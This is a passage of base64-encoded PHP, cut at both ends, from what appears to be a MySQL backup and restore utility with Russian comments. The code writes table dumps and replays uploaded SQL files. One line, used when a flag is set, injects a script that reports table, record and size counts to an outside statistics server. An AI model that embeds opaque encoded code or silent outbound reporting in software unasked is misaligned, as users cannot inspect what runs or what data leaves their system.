PLjxCUj4iIC4gbXlzcWxfZXJyb3IoKSwgRV9VU0VSX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGxhc3RfY2hhcnNldCA9IENIQVJTRVQ7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlewogICAgICAgICAgICAgICAgICAgICAgICAkbGFzdF9jaGFyc2V0ID0gJyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgZm9yZWFjaCAoJHRhYmxlcyBBUyAkdGFibGUpewogICAgICAgICAgICAgICAgICAgICAgICAvLyDQktGL0YHRgtCw0LLQu9GP0LXQvCDQutC+0LTQuNGA0L7QstC60YMg0YHQvtC10LTQuNC90LXQvdC40Y8g0YHQvtC+0YLQstC10YLRgdGC0LLRg9GO0YnRg9GOINC60L7QtNC40YDQvtCy0LrQtSDRgtCw0LHQu9C40YbRiwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPm15c3FsX3ZlcnNpb24gPiA0MDEwMSAmJiAkdGFiX2NoYXJzZXRbJHRhYmxlXSAhPSAkbGFzdF9jaGFyc2V0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKENIQVJTRVQgPT0gJ2F1dG8nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBteXNxbF9xdWVyeSgiU0VUIE5BTUVTICciIC4gJHRhYl9jaGFyc2V0WyR0YWJsZV0gLiAiJyIpIG9yIHRyaWdnZXJfZXJyb3IgKCLQndC10YPQtNCw0LXRgtGB0Y8g0LjQt9C80LXQvdC40YLRjCDQutC+0LTQuNGA0L7QstC60YMg0YHQvtC10LTQuNC90LXQvdC40Y8uPEJSPiIgLiBteXNxbF9lcnJvcigpLCBFX1VTRVJfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KPRgdGC0LDQvdC+0LLQu9C10L3QsCDQutC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8gYCIgLiAkdGFiX2NoYXJzZXRbJHRhYmxlXSAuICJgLiIsIENfV0FSTklORyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGFzdF9jaGFyc2V0ID0gJHRhYl9jaGFyc2V0WyR0YWJsZV07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCfQmtC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8g0Lgg0YLQsNCx0LvQuNGG0Ysg0L3QtSDRgdC+0LLQv9Cw0LTQsNC10YI6JywgQ19FUlJPUik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCdUYWJsZSBgJy4gJHRhYmxlIC4nYCAtPiAnIC4gJHRhYl9jaGFyc2V0WyR0YWJsZV0gLiAnICjRgdC+0LXQtNC40L3QtdC90LjQtSAnICAuIENIQVJTRVQgLiAnKScsIENfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCLQntCx0YDQsNCx0L7RgtC60LAg0YLQsNCx0LvQuNGG0YsgYHskdGFibGV9YCBbIiAuIGZuX2ludCgkdGFiaW5mb1skdGFibGVdKSAuICJdLiIpOwogICAgICAgICAgICAgICAgLy8gQ3JlYXRlIHRhYmxlCiAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUgVEFCTEUgYHskdGFibGV9YCIpOwogICAgICAgICAgICAgICAgJHRhYiA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOwogICAgICAgICAgICAgICAgICAgICAgICAkdGFiID0gcHJlZ19yZXBsYWNlKCcvKGRlZmF1bHQgQ1VSUkVOVF9USU1FU1RBTVAgb24gdXBkYXRlIENVUlJFTlRfVElNRVNUQU1QfERFRkFVTFQgQ0hBUlNFVD1cdyt8Q09MTEFURT1cdyt8Y2hhcmFjdGVyIHNldCBcdyt8Y29sbGF0ZSBcdyspL2knLCAnLyohNDAxMDEgXFwxICovJywgJHRhYik7CiAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fd3JpdGUoJGZwLCAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYHskdGFibGV9YDtcbnskdGFiWzFdfTtcblxuIik7CiAgICAgICAgICAgICAgICAvLyBDaGVjazogTmVlZCB0byBkdW1wIGRhdGE/CiAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJHRhYl90eXBlWyR0YWJsZV0sICR0aGlzLT5vbmx5X2NyZWF0ZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8g0J7Qv9GA0LXQtNC10LTQtdC70Y/QtdC8INGC0LjQv9GLINGB0YLQvtC70LHRhtC+0LIKICAgICAgICAgICAgJE51bWVyaWNDb2x1bW4gPSBhcnJheSgpOwogICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoIlNIT1cgQ09MVU1OUyBGUk9NIGB7JHRhYmxlfWAiKTsKICAgICAgICAgICAgJGZpZWxkID0gMDsKICAgICAgICAgICAgd2hpbGUoJGNvbCA9IG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KSkgewogICAgICAgICAgICAgICAgJE51bWVyaWNDb2x1bW5bJGZpZWxkKytdID0gcHJlZ19tYXRjaCgiL14oXHcqaW50fHllYXIpLyIsICRjb2xbMV0pID8gMSA6IDA7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGZpZWxkcyA9ICRmaWVsZDsKICAgICAgICAgICAgJGZyb20gPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAkbGltaXQgPSAkdGFic2l6ZVskdGFibGVdOwogICAgICAgICAgICAgICAgICAgICAgICAkbGltaXQyID0gcm91bmQoJGxpbWl0IC8gMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGFiaW5mb1skdGFibGVdID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRhYmluZm9bJHRhYmxlXSA+ICRsaW1pdDIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gdHBsX3MoMCwgJHQgLyAkdGFiaW5mb1swXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGkgPSAwOwogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fd3JpdGUoJGZwLCAiSU5TRVJUIElOVE8gYHskdGFibGV9YCBWQUxVRVMiKTsKICAgICAgICAgICAgd2hpbGUoKCRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgeyR0YWJsZX1gIExJTUlUIHskZnJvbX0sIHskbGltaXR9IikpICYmICgkdG90YWwgPSBteXNxbF9udW1fcm93cygkcmVzdWx0KSkpewogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpKys7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdCsrOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCRrID0gMDsgJGsgPCAkZmllbGRzOyAkaysrKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJE51bWVyaWNDb2x1bW5bJGtdKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcm93WyRrXSA9IGlzc2V0KCRyb3dbJGtdKSA/ICRyb3dbJGtdIDogIk5VTEwiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyb3dbJGtdID0gaXNzZXQoJHJvd1ska10pID8gIiciIC4gbXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyRrXSkgLiAiJyIgOiAiTlVMTCI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fd3JpdGUoJGZwLCAoJGkgPT0gMSA/ICIiIDogIiwiKSAuICJcbigiIC4gaW1wbG9kZSgiLCAiLCAkcm93KSAuICIpIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGkgJSAkbGltaXQyID09IDApCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gdHBsX3MoJGkgLyAkdGFiaW5mb1skdGFibGVdLCAkdCAvICR0YWJpbmZvWzBdKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRvdGFsIDwgJGxpbWl0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZyb20gKz0gJGxpbWl0OwogICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fd3JpdGUoJGZwLCAiO1xuXG4iKTsKICAgICAgICAgICAgICAgIGVjaG8gdHBsX3MoMSwgJHQgLyAkdGFiaW5mb1swXSk7fQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRoaXMtPnRhYnMgPSAkdGFiczsKICAgICAgICAgICAgICAgICR0aGlzLT5yZWNvcmRzID0gJHRhYmluZm9bMF07CiAgICAgICAgICAgICAgICAkdGhpcy0+Y29tcCA9ICR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gKiAxMCArICR0aGlzLT5TRVRbJ2NvbXBfbGV2ZWwnXTsKICAgICAgICBlY2hvIHRwbF9zKDEsIDEpOwogICAgICAgIGVjaG8gdHBsX2woc3RyX3JlcGVhdCgiLSIsIDYwKSk7CiAgICAgICAgJHRoaXMtPmZuX2Nsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCJCYWNrdXAgb2YgREI6IGB7JGRifWAgd2FzIGNyZWF0ZWQuIiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KDQsNC30LzQtdGAINCR0JQ6ICAgICAgICIgLiByb3VuZCgkdGhpcy0+c2l6ZSAvIDEwNDg1NzYsIDIpIC4gIiDQnNCRIiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgJGZpbGVzaXplID0gcm91bmQoZmlsZXNpemUoUEFUSCAuICR0aGlzLT5maWxlbmFtZSkgLyAxMDQ4NTc2LCAyKSAuICIg0JzQkSI7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCJGaWxlIHNpemU6IHskZmlsZXNpemV9IiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KLQsNCx0LvQuNGGINC+0LHRgNCw0LHQvtGC0LDQvdC+OiB7JHRhYnN9IiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KHRgtGA0L7QuiDQvtCx0YDQsNCx0L7RgtCw0L3QvjogICAiIC4gZm5faW50KCR0YWJpbmZvWzBdKSwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgZWNobyAiPFNDUklQVD53aXRoIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2F2ZScpKSB7c3R5bGUuZGlzcGxheSA9ICcnOyBpbm5lckhUTUwgPSAn0KHQutCw0YfQsNGC0Ywg0YTQsNC50LsgKHskZmlsZXNpemV9KSc7IGhyZWYgPSAnIiAuIFVSTCAuICR0aGlzLT5maWxlbmFtZSAuICInOyB9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhY2snKS5kaXNhYmxlZCA9IDA7PC9TQ1JJUFQ+IjsKICAgICAgICAgICAgICAgIC8vINCf0LXRgNC10LTQsNGH0LAg0LTQsNC90L3Ri9GFINC00LvRjyDQs9C70L7QsdCw0LvRjNC90L7QuSDRgdGC0LDRgtC40YHRgtC40LrQuAogICAgICAgICAgICAgICAgaWYgKEdTKSBlY2hvICI8U0NSSVBUPmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdHUycpLnNyYyA9ICdodHRwOi8vc3lwZXgubmV0L2dzLnBocD9iPXskdGhpcy0+dGFic30seyR0aGlzLT5yZWNvcmRzfSx7JHRoaXMtPnNpemV9LHskdGhpcy0+Y29tcH0sMTA4Jzs8L1NDUklQVD4iOwoKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIHJlc3RvcmUoKXsKICAgICAgICAgICAgICAgIGlmICghaXNzZXQoJF9QT1NUKSkgeyR0aGlzLT5tYWluKCk7fQogICAgICAgICAgICAgICAgc2V0X2Vycm9yX2hhbmRsZXIoIlNYRF9lcnJvckhhbmRsZXIiKTsKICAgICAgICAgICAgICAgICRidXR0b25zID0gIjxJTlBVVCBJRD1iYWNrIFRZUEU9YnV0dG9uIFZBTFVFPSfQktC10YDQvdGD0YLRjNGB0Y8nIERJU0FCTEVEIG9uQ2xpY2s9XCJoaXN0b3J5LmJhY2soKTtcIj4iOwogICAgICAgICAgICAgICAgZWNobyB0cGxfcGFnZSh0cGxfcHJvY2Vzcygi0JLQvtGB0YHRgtCw0L3QvtCy0LvQtdC90LjQtSDQkdCUINC40Lcg0YDQtdC30LXRgNCy0L3QvtC5INC60L7Qv9C40LgiKSwgJGJ1dHRvbnMpOwoKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2xhc3RfYWN0aW9uJ10gICAgID0gMTsKICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2xhc3RfZGJfcmVzdG9yZSddID0gaXNzZXQoJF9QT1NUWydkYl9yZXN0b3JlJ10pID8gJF9QT1NUWydkYl9yZXN0b3JlJ10gOiAnJzsKICAgICAgICAgICAgICAgICRmaWxlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSBpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgPyAkX1BPU1RbJ2ZpbGUnXSA6ICcnOwogICAgICAgICAgICAgICAgJHRoaXMtPmZuX3NhdmUoKTsKICAgICAgICAgICAgICAgICRkYiA9ICR0aGlzLT5TRVRbJ2xhc3RfZGJfcmVzdG9yZSddOwoKICAgICAgICAgICAgICAgIGlmICghJGRiKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woIkVycm9yISDQndC1INGD0LrQsNC30LDQvdCwINCx0LDQt9CwINC00LDQvdC90YvRhSEiLCBDX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfZW5hYmxlQmFjaygpOwogICAgICAgICAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCJDb25uZWN0IHRvIERCIGB7JGRifWAuIik7CiAgICAgICAgICAgICAgICBteXNxbF9zZWxlY3RfZGIoJGRiKSBvciB0cmlnZ2VyX2Vycm9yICgi0J3QtSDRg9C00LDQtdGC0YHRjyDQstGL0LHRgNCw0YLRjCDQsdCw0LfRgyDQtNCw0L3QvdGL0YUuPEJSPiIgLiBteXNxbF9lcnJvcigpLCBFX1VTRVJfRVJST1IpOwoKICAgICAgICAgICAgICAgIC8vINCe0L/RgNC10LTQtdC70LXQvdC40LUg0YTQvtGA0LzQsNGC0LAg0YTQsNC50LvQsAogICAgICAgICAgICAgICAgaWYocHJlZ19tYXRjaCgiL14oLis/KVwuc3FsKFwuKGJ6MnxneikpPyQvIiwgJGZpbGUsICRtYXRjaGVzKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJG1hdGNoZXNbM10pICYmICRtYXRjaGVzWzNdID09ICdiejInKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+U0VUWydjb21wX21ldGhvZCddID0gMjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKGlzc2V0KCRtYXRjaGVzWzJdKSAmJiRtYXRjaGVzWzNdID09ICdneicpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gPSAxOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNFVFsnY29tcF9sZXZlbCddID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoUEFUSCAuICIveyRmaWxlfSIpKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0J7QqNCY0JHQmtCQISDQpNCw0LnQuyDQvdC1INC90LDQudC00LXQvSEiLCBDX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9lbmFibGVCYWNrKCk7CiAgICAgICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KfRgtC10L3QuNC1INGE0LDQudC70LAgYHskZmlsZX1gLiIpOwogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZSA9ICRtYXRjaGVzWzFdOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0J7QqNCY0JHQmtCQISDQndC1INCy0YvQsdGA0LDQvSDRhNCw0LnQuyEiLCBDX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfZW5hYmxlQmFjaygpOwogICAgICAgICAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKHN0cl9yZXBlYXQoIi0iLCA2MCkpOwogICAgICAgICAgICAgICAgJGZwID0gJHRoaXMtPmZuX29wZW4oJGZpbGUsICJyIik7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZV9jYWNoZSA9ICRzcWwgPSAkdGFibGUgPSAkaW5zZXJ0ID0gJyc7CiAgICAgICAgJGlzX3NrZCA9ICRxdWVyeV9sZW4gPSAkZXhlY3V0ZSA9ICRxID0kdCA9ICRpID0gJGFmZl9yb3dzID0gMDsKICAgICAgICAgICAgICAgICRsaW1pdCA9IDMwMDsKICAgICAgICAkaW5kZXggPSA0OwogICAgICAgICAgICAgICAgJHRhYnMgPSAwOwogICAgICAgICAgICAgICAgJGNhY2hlID0gJyc7CiAgICAgICAgICAgICAgICAkaW5mbyA9IGFycmF5KCk7CgogICAgICAgICAgICAgICAgLy8g0KPRgdGC0LDQvdC+0LLQutCwINC60L7QtNC40YDQvtCy0LrQuCDRgdC+0LXQtNC40L3QtdC90LjRjwogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5teXNxbF92ZXJzaW9uID4gNDAxMDEgJiYgKENIQVJTRVQgIT0gJ2F1dG8nIHx8ICR0aGlzLT5mb3JjZWRfY2hhcnNldCkpIHsgLy8g0JrQvtC00LjRgNC+0LLQutCwINC/0L4g0YPQvNC+0LvRh9Cw0L3QuNGOLCDQtdGB0LvQuCDQsiDQtNCw0LzQv9C1INC90LUg0YPQutCw0LfQsNC90LAg0LrQvtC00LjRgNC+0LLQutCwCiAgICAgICAgICAgICAgICAgICAgICAgIG15c3FsX3F1ZXJ5KCJTRVQgTkFNRVMgJyIgLiAkdGhpcy0+cmVzdG9yZV9jaGFyc2V0IC4gIiciKSBvciB0cmlnZ2VyX2Vycm9yICgi0J3QtdGD0LTQsNC10YLRgdGPINC40LfQvNC10L3QuNGC0Ywg0LrQvtC00LjRgNC+0LLQutGDINGB0L7QtdC00LjQvdC10L3QuNGPLjxCUj4iIC4gbXlzcWxfZXJyb3IoKSwgRV9VU0VSX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyB0cGxfbCgi0KPRgdGC0LDQvdC+0LLQu9C10L3QsCDQutC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8gYCIgLiAkdGhpcy0+cmVzdG9yZV9jaGFyc2V0IC4gImAuIiwgQ19XQVJOSU5HKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGxhc3RfY2hhcnNldCA9ICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQ7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGxhc3RfY2hhcnNldCA9ICcnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGxhc3Rfc2hvd2VkID0gJyc7CiAgICAgICAgICAgICAgICB3aGlsZSgoJHN0ciA9ICR0aGlzLT5mbl9yZWFkX3N0cigkZnApKSAhPT0gZmFsc2UpewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJHN0cikgfHwgcHJlZ19tYXRjaCgiL14oI3wtLSkvIiwgJHN0cikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRpc19za2QgJiYgcHJlZ19tYXRjaCgiL14jU0tEMTAxXHwvIiwgJHN0cikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGluZm8gPSBleHBsb2RlKCJ8IiwgJHN0cik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9zKDAsICR0IC8gJGluZm9bNF0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlzX3NrZCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkcXVlcnlfbGVuICs9IHN0cmxlbigkc3RyKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGluc2VydCAmJiBwcmVnX21hdGNoKCIvXihJTlNFUlQgSU5UTyBgPyhbXmAgXSspYD8gLio/VkFMVUVTKSguKikkL2kiLCAkc3RyLCAkbSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRhYmxlICE9ICRtWzJdKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YWJsZSA9ICRtWzJdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYnMrKzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjYWNoZSAuPSB0cGxfbCgi0KLQsNCx0LvQuNGG0LAgYHskdGFibGV9YC4iKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsYXN0X3Nob3dlZCA9ICR0YWJsZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpID0gMDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfc2tkKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gdHBsX3MoMTAwICwgJHQgLyAkaW5mb1s0XSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRpbnNlcnQgPSAkbVsxXSAuICcgJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC49ICRtWzNdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbmRleCsrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpbmZvWyRpbmRleF0gPSBpc3NldCgkaW5mb1skaW5kZXhdKSA/ICRpbmZvWyRpbmRleF0gOiAwOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW1pdCA9IHJvdW5kKCRpbmZvWyRpbmRleF0gLyAyMCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbWl0ID0gJGxpbWl0IDwgMzAwID8gMzAwIDogJGxpbWl0OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaW5mb1skaW5kZXhdID4gJGxpbWl0KXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGNhY2hlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhY2hlID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9zKDAgLyAkaW5mb1skaW5kZXhdLCAkdCAvICRpbmZvWzRdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gJHN0cjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGluc2VydCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSsrOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0Kys7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpc19za2QgJiYgJGluZm9bJGluZGV4XSA+ICRsaW1pdCAmJiAkdCAlICRsaW1pdCA9PSAwKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gdHBsX3MoJGkgLyAkaW5mb1skaW5kZXhdLCAkdCAvICRpbmZvWzRdKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkaW5zZXJ0ICYmIHByZWdfbWF0Y2goIi9eQ1JFQVRFIFRBQkxFIChJRiBOT1QgRVhJU1RTICk/YD8oW15gIF0rKWA/L2kiLCAkc3RyLCAkbSkgJiYgJHRhYmxlICE9ICRtWzJdKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGFibGUgPSAkbVsyXTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW5zZXJ0ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYnMrKzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXNfY3JlYXRlID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaSA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcWwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCIvOyQvIiwgJHN0cikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9IHJ0cmltKCRpbnNlcnQgLiAkc3FsLCAiOyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRpbnNlcnQpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+bXlzcWxfdmVyc2lvbiA8IDQwMTAxKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSBwcmVnX3JlcGxhY2UoIi9FTkdJTkVccz89LyIsICJUWVBFPSIsICRzcWwpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZiAocHJlZ19tYXRjaCgiL0NSRUFURSBUQUJMRS9pIiwgJHNxbCkpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vINCS0YvRgdGC0LDQstC70Y/QtdC8INC60L7QtNC40YDQvtCy0LrRgyDRgdC+0LXQtNC40L3QtdC90LjRjwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCIvKENIQVJBQ1RFUiBTRVR8Q0hBUlNFVClbPVxzXSsoXHcrKS9pIiwgJHNxbCwgJGNoYXJzZXQpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg